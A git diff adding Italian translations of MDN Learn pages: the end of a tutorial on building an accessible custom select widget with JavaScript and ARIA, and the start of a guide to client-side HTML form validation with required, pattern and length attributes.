+  // Abbiamo anche bisogno di ottenere il valore segnaposto del nostro widget personalizzato
+  var value = select.querySelector('.value');
+
+  // E abbiamo bisogno dell'intero elenco di opzioni
+  var optionList = select.querySelectorAll('.option');
+
+  // Impostiamo l'indice selezionato sull'indice di nostra scelta
+  nativeWidget.selectedIndex = index;
+
+  // Aggiorniamo il valore placeholder di conseguenza
+  value.innerHTML = optionList[index].innerHTML;
+
+  // E evidenziamo l'opzione corrispondente del nostro widget personalizzato
+  highlightOption(select, optionList[index]);
+};
+
+// Questa funzione restituisce l'indice selezionato corrente nel widget nativo
+// Richiede un parametro:
+// seleziona: il nodo DOM con la classe `select` relativa al widget nativo
+function getIndex(select) {
+ // È necessario accedere al widget nativo per il widget personalizzato specificato
+   // Nel nostro esempio, quel widget nativo è un fratello del widget personalizzato
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};</pre>
+
+<p>Con queste due funzioni, possiamo associare i widget nativi a quelli personalizzati:</p>
+
+<pre class="brush: js">// Gestiamo il binding di eventi quando il documento è caricato.
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+ // Ogni widget personalizzato deve essere inizializzato
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    // Rendiamo focalizzabile il nostro widget personalizzato
+    select.tabIndex = 0;
+
+// Facciamo in modo che il widget nativo non sia più focalizzabile
+    select.previousElementSibling.tabIndex = -1;
+
+    // Ci assicuriamo che il valore selezionato di default sia visualizzato correttamente
+    updateValue(select, selectedIndex);
+
+    // Ogni volta che un utente fa clic su un'opzione, aggiorniamo di conseguenza il valore
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    // Ogni volta che un utente usa la propria tastiera su un widget focalizzato, aggiorniamo di conseguenza il valore
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+     // Quando l'utente preme la freccia giù, passiamo all'opzione successiva
+      if (event.keyCode === 40 &amp;&amp; index &lt; length - 1) { index++; }
+
+// Quando l'utente preme la freccia su, passiamo all'opzione precedente
+      if (event.keyCode === 38 &amp;&amp; index &gt; 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});</pre>
+
+<p> </p>
+
+<p>Nel codice sopra, vale la pena notare l'uso della proprietà tabIndex. L'utilizzo di questa proprietà è necessario per garantire che il widget nativo non acquisisca mai l'attenzione e per assicurarsi che il nostro widget personalizzato ottenga lo stato attivo quando l'utente utilizza la sua tastiera o il suo mouse.</p>
+
+<p>Con quello, abbiamo finito! Ecco il risultato:</p>
+
+<p> </p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Live example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_4")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_4" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_4">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ma aspetta un secondo, abbiamo davvero finito?</p>
+
+<h2 id="Renderlo_accessibile">Renderlo accessibile</h2>
+
+<p> </p>
+
+<p>Abbiamo costruito qualcosa che funziona e sebbene siamo lontani da una casella di selezione completa, funziona bene. Ma quello che abbiamo fatto non è altro che il violino con il DOM. Non ha una vera semantica e, anche se sembra una casella di selezione, dal punto di vista del browser non ne è uno, quindi le tecnologie assistive non saranno in grado di capire che è una casella di selezione. In breve, questa nuova casella di selezione non è accessibile!</p>
+
+<p>Fortunatamente, esiste una soluzione e si chiama ARIA. ARIA è l'acronimo di "Accessible Rich Internet Application" ed è una specifica W3C specificamente progettata per ciò che stiamo facendo qui: rendere accessibili le applicazioni web e i widget personalizzati. È fondamentalmente un insieme di attributi che estendono l'HTML in modo da poter meglio descrivere ruoli, stati e proprietà come se l'elemento che abbiamo appena escogitato fosse l'elemento nativo per cui tentava di passare. L'utilizzo di questi attributi è estremamente semplice, quindi facciamolo.</p>
+
+<p> </p>
+
+<h3 id="L'attributo_'role'">L'attributo 'role'</h3>
+
+<p> </p>
+
+<p>L'attributo chiave utilizzato da ARIA è l'attributo 'role'. L'attributo 'role' accetta un valore che definisce per cosa viene usato un elemento. Ogni 'role' definisce i propri requisiti e comportamenti. Nel nostro esempio, useremo 'role listbox'. È un "ruolo composito", ovvero gli elementi con quel ruolo si aspettano di avere figli, ciascuno con un ruolo specifico (in questo caso, almeno un bambino con il ruolo di opzione).</p>
+
+<p>Vale anche la pena notare che ARIA definisce i ruoli che vengono applicati di default al markup HTML standard. Ad esempio, l'elemento {{HTMLElement ("table")}} corrisponde alla griglia del ruolo e l'elemento {{HTMLElement ("ul")}} corrisponde all'elenco dei ruoli. Poiché utilizziamo un elemento {{HTMLElement ("ul")}}, vogliamo assicurarci che il ruolo listbox del nostro widget sostituisca il ruolo di lista dell'elemento {{HTMLElement ("ul")}}. A tal fine, useremo la presentazione del ruolo. Questo ruolo è stato progettato per farci indicare che un elemento non ha un significato speciale e viene utilizzato esclusivamente per presentare informazioni. Lo applicheremo al nostro elemento {{HTMLElement ("ul")}}.</p>
+
+<p>Per supportare il ruolo listbox, dobbiamo solo aggiornare il nostro codice HTML in questo modo:</p>
+
+<p> </p>
+
+<pre class="brush: html">&lt;! - Aggiungiamo l'attributo role = "listbox" al nostro elemento principale -&gt;&lt;div class="select" role="listbox"&gt;
+  &lt;span class="value"&gt;Cherry&lt;/span&gt;
+  &lt;! - Aggiungiamo anche il role = "presentation" all'elemento ul -&gt;
+  &lt;ul class="optList" role="presentation"&gt;
+    &lt;! - E aggiungiamo l'attributo role = "option" a tutti gli elementi li -&gt;
+    &lt;li role="option" class="option"&gt;Cherry&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Lemon&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Banana&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Strawberry&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Apple&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Includere sia l'attributo role sia un attributo class è necessario solo se si desidera supportare i browser legacy che non supportano i selettori dell'attributo CSS. <a href="/en-US/docs/CSS/Attribute_selectors" title="/en-US/docs/CSS/Attribute_selectors">CSS attribute selectors</a>.</p>
+</div>
+
+<h3 id="L'attributo_aria-selected">L'attributo <code>aria-selected</code> </h3>
+
+<p>Usare l'attributo <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> non è abbastanza. <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> fornisce anche molti stati e attributi di proprietà. Più e meglio li usi, più il tuo widget sarà compreso dalle tecnologie assistive. Nel nostro caso, limiteremo il nostro utilizzo a un attributo: <code>aria-selected</code>.</p>
+
+<p>l'attributo <code>aria-selected</code> è usato per contrassegnare quale opzione è attualmente selezionata; questo consente alle tecnologie assistive di informare l'utente su quale sia la selezione corrente. Lo useremo dinamicamente con JavaScript per contrassegnare l'opzione selezionata ogni volta che l'utente ne sceglie uno. A tal fine, abbiamo bisogno di rivedere la nostra funzione <code>updateValue()</code>:</p>
+
+<pre class="brush: js">function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  // Ci assicuriamo che tutte le opzioni non siano selezionate
+  optionList.forEach(function (other) {
+    other.setAttribute('aria-selected', 'false');
+  });
+
+  // Ci assicuriamo che l'opzione scelta sia selezionata
+  optionList[index].setAttribute('aria-selected', 'true');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};</pre>
+
+<p>Ecco il risultato finale di tutti questi cambiamenti (otterrai una sensazione migliore provandola con una tecnologia di assistenza come <a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> o <a href="http://www.apple.com/accessibility/voiceover/" rel="external" title="http://www.apple.com/accessibility/voiceover/">VoiceOver</a>):</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Live example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_5")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_5" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2">Check out the final source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Conclusioni">Conclusioni</h2>
+
+<p> </p>
+
+<p>Abbiamo visto tutti i fondamenti della creazione di un widget di modulo personalizzato, ma come puoi vedere non è banale da fare, e spesso è meglio e più facile affidarsi a librerie di terze parti invece di codificarle da zero da soli (a meno che, ovviamente, il tuo obiettivo è costruire una tale biblioteca).</p>
+
+<p>Ecco alcune librerie da prendere in considerazione prima di codificare le tue:</p>
+
+<p> </p>
+
+<ul>
+ <li><a href="http://jqueryui.com/" rel="external" title="http://jqueryui.com/">jQuery UI</a></li>
+ <li><a href="https://github.com/marghoobsuleman/ms-Dropdown" rel="external" title="https://github.com/marghoobsuleman/ms-Dropdown">msDropDown</a></li>
+ <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external" title="http://www.emblematiq.com/lab/niceforms/">Nice Forms</a></li>
+ <li><a href="https://www.google.fr/search?q=HTML+custom+form+controls&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:fr:official&amp;client=firefox-a" rel="external" title="https://www.google.fr/search?q=HTML+custom+form+controls&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:fr:official&amp;client=firefox-a">And many more…</a></li>
+</ul>
+
+<p>Se vuoi andare avanti, il codice in questo esempio necessita di qualche miglioramento prima che diventi generico e riutilizzabile. Questo è un esercizio che puoi provare ad esibirti. Due suggerimenti per aiutarti in questo: il primo argomento per tutte le nostre funzioni è lo stesso, il che significa che quelle funzioni necessitano dello stesso contesto. Costruire un oggetto per condividere quel contesto sarebbe saggio. Inoltre, è necessario renderlo a prova di funzionalità; cioè, deve essere in grado di funzionare meglio con una varietà di browser la cui compatibilità con gli standard Web utilizzati varia. Divertiti!</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}</p>
+
+<p> </p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/it/learn/html/forms/form_validation/index.html b/files/it/learn/html/forms/form_validation/index.html
new file mode 100644
index 0000000000..9557758529
--- /dev/null
+++ b/files/it/learn/html/forms/form_validation/index.html
@@ -0,0 +1,846 @@
+---
+title: Validazione lato client delle form
+slug: Learn/HTML/Forms/Form_validation
+tags:
+  - Apprendere
+  - Esempio
+  - Forms
+  - Guida
+  - HTML
+  - JavaScript
+  - Principiante
+  - Web
+  - regex
+translation_of: Learn/Forms/Form_validation
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Forms/UI_pseudo-classes", "Learn/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</div>
+
+<div>Prima di inviare dati al server, è importante assicurarsi che tutti i campi richiesti della form siano stati inseriti e siano nel formato richiesto. Questa viene chiamata <strong>validazione delle form lato client</strong>, ed aiuta a fare in modo che i dati inviati siano consistenti con quanto richiesto. Questo articolo illustra anche con esempi i concetti base della validazione.</div>
+
+<div></div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscenze informatiche, ed una ragionevole comprensione di <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, e <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Capire che cos'è la validazione delle form lato client, perché è importante e come applicare le varie tecniche per implementarla.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La validazione lato client è un controllo che va fatto subito ed è una caratteristica importante per una buona esperienza untente; trovando i dati non corretti nel lato client, l'utente li può correggere immediatamente. Se i dati non corretti venissero inviati al server e rifiutati, si assisterebbe ad un considerevole e fastidioso ritardo operativo dovuto al traffico tra client e server per le richieste di correzione.</p>
+
+<p>Comunque, la validazione lato client <em>non dovrebbe essere considerata</em> una misura di sicurezza sufficiente! La tua app dovrebbe sempre eseguire controlli di sicurezza <strong>anche</strong> nel <em>lato server,</em> perché le validazioni lato client sono troppo facili da bypassare, quindi gli utenti malevoli potrebbero comunque spedire dati non corretti al server. Leggi l'articolo <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a> per farti un idea di quello che <em>potrebbe</em> succedere; in questo articolo non trattiamo la validazione lato server, ma tu dovresti tenerla presente.</p>
+
+<h2 id="Che_cosè_la_validazione_delle_form">Che cos'è la validazione delle form?</h2>
+
+<p>Vai su qualche diffuso sito con registrazione delle form e ti accorgerai che ti  fornirà informazioni immediate se non inserisci i dati nel formato che loro si aspettano. Otterrai messaggi simili a questi:</p>
+
+<ul>
+ <li>"Questo è un camo richiesto" (Non lo puoi lasciare in bianco).</li>
+ <li>"Per favore inserisci il numero di telefono nel formato xxx-xxxx" (Viene richiesto uno specifico formato di dato per essere considerato valido).</li>
+ <li>"Per favore inserisci un indirizzo email valido" (la mail inserita non è nel formato corretto).</li>
+ <li>"La password deve essere compresa tra 8 e 30 caratteri e deve contenere lettere maiuscole, minuscole, simboli e numeri." (Viene richiesto un formato molto particolare).</li>
+</ul>
+
+<p>Questa viene chiamata <strong>validazione della form</strong>. Quando inserisci i dati il browser e/o il web server controllano se i dati sono corretti secondo le regole stabilite dalla applicazione. La validazione fatta dal browser viene chiamata validazione <strong>lato client</strong> e quella fatta dal server viene chiamata validazione <strong>lato server</strong>. Questo articolo si occupa della validazione lato client.</p>
+
+<p>Se le informazioni hanno il formato corretto, l'applicazione consente che vengano spedite al server il quale di solito le salva in un database. Se invece non sono corrette, viene mandato un messaggo all'utente spiegando l'errore e consentendo di riprovare.</p>
+
+<p>Noi desideriamo che l'inserimento delle form sia il più facile possibile. Quindi per quale motivo insistiamo per la validazione? I motivi principali sono tre:</p>
+
+<ul>
+ <li><strong>Vogliamo che ci arrivino i dati giusti nel formato corretto.</strong> La nostra applicazione potrebbe non funzionare in modo corretto se i dati che ci arrivano sono scorretti o incompleti.</li>
+ <li><strong>Vogliamo proteggere i dati degli utenti</strong>. Costringendo gli utenti ad inserire password robuste facilitiamo la protezione delle loro informazioni anagrafiche.</li>
+ <li><strong>Vogliamo proteggere noi stessi</strong>. Ci sono molti modi che gli utenti malevoli possono provare per danneggiare le applicazioni se la form non è protetta (vedi <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>).<br>
+  {{warning("Mai fidarsi dei dati inviati al server dal client. Anche se la form è stata validata correttamente, gli utenti malevoli potrebbero alterare la richiesta di rete.")}}</li>
+</ul>
+
+<h2 id="Differenti_tipi_di_validazione_lato_client">Differenti tipi di validazione lato client</h2>
+
+<p>Ci sono due tipi di validazione che si possono incontrare nel web:</p>
+
+<ul>
+ <li><strong>Validazione built-in della form</strong> usando le funzionalità di validazione delle form di HTML5, di cui parleremo spesso in questo articolo. Questo tipo di validazione di solito non richiedono molto JavaScript. La validazione built-in ha prestazioni migliori di JavaScript, ma non è altrettanto configurabile.</li>
+ <li><strong>Validazione JavaScript</strong> che viene eseguita scrivendo codice JavaScript. Questa validazione si può configurare come si desidera ma deve essere scritta interamente (oppure si usa una delle molte librerie disponibili).</li>
+</ul>
+
+<h2 id="Usare_la_validazione_built-in_delle_form">Usare la validazione built-in delle form</h2>
+
+<p>Una delle funzionalità più significative dei <a href="/en-US/docs/Learn/Forms/HTML5_input_types">HTML5 form controls</a> è la capacità di effettuare molte validazioni senza richiedere l'uso di JavaScript. Questo viene fatto usando attributi di validazione negli elementi della form. Lo abbiamo visto anche in altre occasioni, ma ricapitolando:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></code>: Specifica che è un campo che deve essere riempito prima di poter invare i dati.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/minlength">minlength</a></code> e <code><a href="/en-US/docs/Web/HTML/Attributes/maxlength">maxlength</a></code>: Specifica la dimensione minima e massima dei campi di testo</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code> e <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code>: Specifica i valori minimi e massimi dei campi di tipo numerico</li>
+ <li><code>type</code>: Specifica se il dato deve essere un numero, un indirizzo email o qualche altro tipo predefinito. </li>
+ <li><code><a href="/en-US/docs/Web/HTML/Attributes/pattern">pattern</a></code>: Specifica una <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">regular expression</a> che definisce le regole che i dati inseriti devono seguire.</li>
+</ul>
+
+<p>Se i dati inseriti nella form seguono tutte le regole specificate dagli attributi è considerata valida. Altrimenti viene considerata non valida.</p>
+
+<p>Quando un elemento è valido, le seguenti cose sono vere:</p>
+
+<ul>
+ <li>L'elemento è conforme alla pseudo-classe {{cssxref(":valid")}} CSS, che ti consente di applicare uno stile specifico agli elementi validi.</li>
+ <li>Se l'utente prova ad inviare i dati il browser spedirà la form se non c'è nient altro le la blocca (ad esempio ulteriori validazioni JavaScript).</li>
+</ul>
+
+<p>Quando un elemento non è valido, le seguenti cose sono vere:</p>
+
+<ul>
+ <li>L'elemento è conforme alla pseudo-classe {{cssxref(":invalid")}} CSS, e qualche altra pseudo-classe (es. {{cssxref(":out-of-range")}}) in base al tipo di errore che ti consente di applicare uno stile specifico agli elementi non validi.</li>
+ <li>Se l'utente prova ad inviare i dati il browser blocca la form e visualizza un adeguanto messaggio di errore.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Esistiono alcuni errori che impediscono la spedizione della form, compreso {{domxref('validityState.badInput', 'badInput')}}, {{domxref('validityState.patternMismatch','patternMismatch')}}, {{domxref('validityState.rangeOverflow','rangeOverflow')}} o {{domxref('validityState.rangeUnderflow','rangeUnderflow')}}, {{domxref('validityState.stepMismatch','stepMismatch')}}, {{domxref('validityState.tooLong','tooLong')}} or {{domxref('validityState.tooShort','tooShort')}}, {{domxref('validityState.typeMismatch','typeMismatch')}}, {{domxref('validityState.valueMissing','valueMissing')}}, o un {{domxref('validityState.customError','customError')}}.</p>
+</div>
+
+<h2 id="Esempi_di_validazione_built-in_delle_form">Esempi di validazione built-in delle form</h2>
+
+<p>In questa sezione proveremo alcuni degli attributi di cui abbiamo parlato sopra.</p>
+
+<h3 id="Semplice_esempio_iniziale">Semplice esempio iniziale</h3>
+
+<p>Incominciamo con un esempio semplice: Un campo di testo che ti permette di scegliere se preferisci le banane o le ciliege (banana or cherry). Questo esempio richiede un semplice testo {{HTMLElement("input")}} con associata una {{htmlelement("label")}} e un pulsante di invio {{htmlelement("button")}}. Il codice sorgente si trova su GitHub su <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> con un esempio live.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="choose"&gt;Would you prefer a banana or cherry?&lt;/label&gt;
+  &lt;input id="choose" name="i_like"&gt;
+  &lt;button&gt;Submit&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}</pre>
+
+<p>{{EmbedLiveSample("Simple_start_file", "100%", 80)}}</p>
+
+<p>Per incominciare fai una copia di  <code>fruit-start.html</code> in una directory vuota del tuo disco fisso.</p>
+
+<h3 id="Lattributo_required">L'attributo required</h3>
+
+<p>La validazione HTML5 più semplice è l'attributo <code><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></code>. Per rendere obbligatorio un campo input aggiungi questo attributo. Se è presente, l'elemento esegue il controllo con la pseudo-classe {{cssxref(':required')}} e la form non viene inviata e visualizza un messaggio d'errore se il campo input è vuoto. Quando è vuoto il campo è considerato non valido anche dalla pseudo-classe {{cssxref(':invalid')}}.</p>
+
+<p>Aggiungi l'attributo <code>required</code> come si vede qui sotto.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="choose"&gt;Would you prefer a banana or cherry? (required)&lt;/label&gt;
+  &lt;input id="choose" name="i_like" required&gt;
+  &lt;button&gt;Submit&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Considera il CSS che è incluso nel file d'esempio:</p>
+
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:invalid:required {
+  background-image: linear-gradient(to right, pink, lightgreen);
+}
+
+input:valid {
+  border: 2px solid black;
+}</pre>
+
+<p>Questo CSS assegna all'input un bordo rosso a trattini quando il valore non è valido ed una linea nera più sottile quando è valido. Abbiamo anche aggiunto uno sfondo a gradiente quando è richiesto e non valido. Prova il nuovo comportamento nell'esempio sotto:</p>
+
+<p>{{EmbedLiveSample("The_required_attribute", "100%", 80)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puoi trovare questo esempio live su GitHub come <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-required.html">fruit-validation.html</a> (vedi anche il <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-required.html">codice sorgente</a>.)</p>
+</div>
+
+<p>Prova ad inviare la form senza un valore. Nota che i campo non valido acquista il focus ed appare il messaggio predefinito ("Per favore inserisci questo campo"), e la form non viene inviata.</p>
+
+<p>La presenza dell'attributo <code>required</code> in un elemento che lo supporta comporta che l'elemento controlla la pseudoclasse {{cssxref(':required')}} per controllare se contiene un valore oppure no. Se il campo {{HTMLElement("input")}} non ha un valore, attiva la pseudoclasse {{cssxref(':invalid')}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Per una buona esperienza utente, indica all'utente quando un campo è richiesto. Non è solo una buona pratica, ma è anche richiesto dalle linee guida <a href="/en-US/docs/Learn/Accessibility">accessibility</a> del WCAG. È anche bene rendere obbligatori i soli campi che ti servono. è inutile rendere obbligatori i campi di cui non hai reale necessità.</p>
+</div>
+
+<h3 id="Validazione_con_una_regular_expression">Validazione con una regular expression</h3>
+
+<p>Un'altra caratteristica di validazione molto usata è l'attributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a>, che si aspetta una <a href="/en-US/docs/JavaScript/Guide/Regular_Expressions">Regular Expression</a> come valore. Una regular expression (regex) è un modello che può essere usato per confrontare una combinazione di caratteri in una stringa, questo li rende ottimi per la validazione delle form e vengono usati anche per un certo numero di altri usi in JavaScript.</p>
+
+<p>I regex sono abbastanza complessi, e non riusciamo a spiegarli in modo completo in questo articolo. Di seguito riportiamo alcuni esempi per darti un'idea di base su come funzionano.</p>
+
+<ul>
+ <li><code>a</code> — Accetta un carattere che deve essere <code>a</code> (non <code>b</code>, nemmeno <code>aa</code>, e così via).</li>
+ <li><code>abc</code> — Accetta <code>a</code>, seguito da <code>b</code>, seguito da <code>c</code>.</li>
+ <li><code>ab?c</code> — Accetta <code>a</code>, opzionalmente seguito <code>b</code>, seguito <code>c</code>. ( <code>ac</code> oppure <code>abc</code>)</li>
+ <li><code>ab*c </code>— Accetta <code>a</code>, opzionalmente seguito da qualsiasi numero di <code>b</code>, seguito da <code>c</code>. ( <code>ac</code> , <code>abc</code>, <code>abbbbbc</code>, e via di seguito).</li>
+ <li><code>a|b</code> — Accetta un carattere che può essere <code>a</code> o <code>b</code>.</li>
+ <li><code>abc|xyz</code> — Accetta esattamente <code>abc</code> o esattamente <code>xyz</code> (ma non <code>abcxyz</code> o <code>a</code> o <code>y</code>, e così via).</li>
+</ul>
+
+<p>Ci sono moltissime altre possibilità che non trattiamo. Per la lista completa e molti esempi consulta la nostra documentazione delle <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular expressions</a>.</p>
+
+<p>Proviamo ad implementare un esemio. Modifica il tuo HTML per aggiungere un attributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> come il seguente:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="choose"&gt;Would you prefer a banana or a cherry?&lt;/label&gt;
+  &lt;input id="choose" name="i_like" required pattern="[Bb]anana|[Cc]herry"&gt;
+  &lt;button&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}</pre>
+</div>
+
+<p>Che ci da il seguente aggiornamento — prova:</p>
+
+<p>{{EmbedLiveSample("Validating_against_a_regular_expression", "100%", 80)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puoi trovare questo esempio live su GitHub su <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-pattern.html">fruit-pattern.html</a> (guarda anche il <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-pattern.html">codice sorgente</a>.)</p>
+</div>
+
+<p>In questo esempio, l'elemento {{HTMLElement("input")}} accetta una di quattro possibili valori: "banana", "Banana", "cherry", o "Cherry". Le regular expressions sono sono sensibili a maiuscole e minuscole, ma noi abbiamo supportato sia le parole minuscole che quelle con la prima maiuscola usando il modello "Aa" racchiuso tra parentesi quadre.</p>
+
+<p>Prova ora a cambiare il valore dell attributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> con gli esempi visti in precedenza e vedi in che modo cambiano i valori che puoi inserire. Prova anche a scrivere qualche regola per conto tuo e cerca di dare un senso alle regole rispetto al esempio della frutta!</p>
+
+<p>Se un valore di {{HTMLElement("input")}} non soddisfa il modello della regular expression il campo <code>input</code>  applicherà la pseudoclasse  {{cssxref(':invalid')}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Alcuni tipi di elemento {{HTMLElement("input")}} non necessitano di un attributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> per essere validati secondo una regular expression. Specificando il tipo <code>email</code>, ad esempio, l'input viene validato con il consolidato modello per la validazione delle email o con il modello per una lista di email separate da virgole se ha anche l'attributo <a href="/en-US/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a>.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: L'elemento {{HTMLElement("textarea")}} non supporta l'attributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a>.</p>
+</div>
+
+<h3 id="Limitare_la_dimensione_dei_campi">Limitare la dimensione dei campi</h3>
+
+<p>Puoi limitare la dimensione dei campi testo creati con  {{HTMLElement("input")}} o {{HTMLElement("textarea")}} usando gli attributi <a href="/en-US/docs/Web/HTML/Attributes/minlength"><code>minlength</code></a> e <code><a href="/en-US/docs/Web/HTML/Attributes/maxlength">maxlength</a></code>. Un campo non è valido se ha meno caratteri del valore di <a href="/en-US/docs/Web/HTML/Attributes/minlength"><code>minlength</code></a> o maggiore del valore di <code><a href="/en-US/docs/Web/HTML/Attributes/maxlength">maxlength</a></code>.</p>
+
+<p>I browsers spesso non consentono all'utente di inserire più caratteri di quelli consentiti dal campo. Per migliorare l'esperienza utente invece di usare solamente <code>maxlength</code> si può fornire l'indicazione del numero di caratteri residui per dare modo all'utente di regolarsi. Un esempio di questo si trova in Twitter. Con JavaScript esiste una <a href="https://github.com/mimo84/bootstrap-maxlength">soluzione che usa <code>maxlength</code></a>, che si può utilizzare.</p>
+
+<h3 id="Limitare_i_valori_dei_campi">Limitare i valori dei campi</h3>
+
